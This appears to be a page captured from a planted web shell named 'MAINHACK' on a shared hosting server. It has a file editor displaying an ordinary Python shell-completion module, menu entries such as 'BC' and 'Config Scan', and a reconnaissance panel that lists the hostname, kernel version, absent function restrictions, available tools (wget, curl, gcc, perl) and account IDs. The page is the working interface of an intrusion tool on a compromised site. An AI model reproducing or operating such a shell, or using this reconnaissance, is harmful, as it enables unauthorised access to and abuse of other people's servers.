[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: _bashcomplete.py
File is not writable. Editing disabled.
import os import re from .utils import echo from .parser import split_arg_string from .core import MultiCommand, Option COMPLETION_SCRIPT = ''' %(complete_func)s() { COMPREPLY=( $( env COMP_WORDS="${COMP_WORDS[*]}" \\ COMP_CWORD=$COMP_CWORD \\ %(autocomplete_var)s=complete $1 ) ) return 0 } complete -F %(complete_func)s -o default %(script_names)s ''' _invalid_ident_char_re = re.compile(r'[^a-zA-Z0-9_]') def get_completion_script(prog_name, complete_var): cf_name = _invalid_ident_char_re.sub('', prog_name.replace('-', '_')) return (COMPLETION_SCRIPT % { 'complete_func': '_%s_completion' % cf_name, 'script_names': prog_name, 'autocomplete_var': complete_var, }).strip() + ';' def resolve_ctx(cli, prog_name, args): ctx = cli.make_context(prog_name, args, resilient_parsing=True) while ctx.args + ctx.protected_args and isinstance(ctx.command, MultiCommand): a = ctx.args + ctx.protected_args cmd = ctx.command.get_command(ctx, a[0]) if cmd is None: return None ctx = cmd.make_context(a[0], a[1:], parent=ctx, resilient_parsing=True) return ctx def get_choices(cli, prog_name, args, incomplete): ctx = resolve_ctx(cli, prog_name, args) if ctx is None: return choices = [] if incomplete and not incomplete[:1].isalnum(): for param in ctx.command.params: if not isinstance(param, Option): continue choices.extend(param.opts) choices.extend(param.secondary_opts) elif isinstance(ctx.command, MultiCommand): choices.extend(ctx.command.list_commands(ctx)) for item in choices: if item.startswith(incomplete): yield item def do_complete(cli, prog_name): cwords = split_arg_string(os.environ['COMP_WORDS']) cword = int(os.environ['COMP_CWORD']) args = cwords[1:cword] try: incomplete = cwords[cword] except IndexError: incomplete = '' for item in get_choices(cli, prog_name, args, incomplete): echo(item) return True def bashcomplete(cli, prog_name, complete_var, complete_instr): if complete_instr == 'source': echo(get_completion_script(prog_name, complete_var)) return True elif complete_instr == 'complete': return do_complete(cli, prog_name) return False
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A